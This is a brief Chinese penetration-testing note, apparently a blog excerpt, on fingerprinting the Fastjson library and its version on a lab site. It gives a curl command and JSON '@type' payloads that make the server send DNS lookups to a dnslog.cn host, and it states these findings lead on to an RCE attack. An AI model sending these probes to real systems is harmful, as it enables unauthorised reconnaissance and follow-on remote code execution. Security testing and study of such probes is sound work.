Fastjson的探测方式
模拟使用fastjson的网站 http://192.168.88.111:8090/
方式一
命令行
curl http://192.168.88.111:8090/ -H "Content-Type: application/json" --data '{{"@type":"java.net.URL","val":"cegkgu.dnslog.cn"}:0'
识别特征:(出现则使用了Fastjson)
"status":500, "error":"Internal Server Error"
Bp
识别特征:(出现则使用了Fastjson)
type=Internal Server Error, status=500
方式二
通过DNSlog回显
Bp
payload
:识别1.2.67之前版本
{"tpa":{"@type":"java.net.Inet4Address","val":"cegkgu.dnslog.cn"}}
DNSLog成功回显
payload
:识别1.2.67之后版本
{"@type":"java.net.Inet4Address","val":"cegkgu.dnslog.cn"}
其他同理,若不在版本范围会出现特征type=Internal Server Error, status=500
,说明该页面使用了Fastjson但版本不符没有识别到。
总结
payload有很多种,测试使用DNSlog回显的方式就可以,能识别出Fastjson版本,若在版本范围内就可以继续进行RCE攻击。
本文含有隐藏内容,请 开通VIP 后查看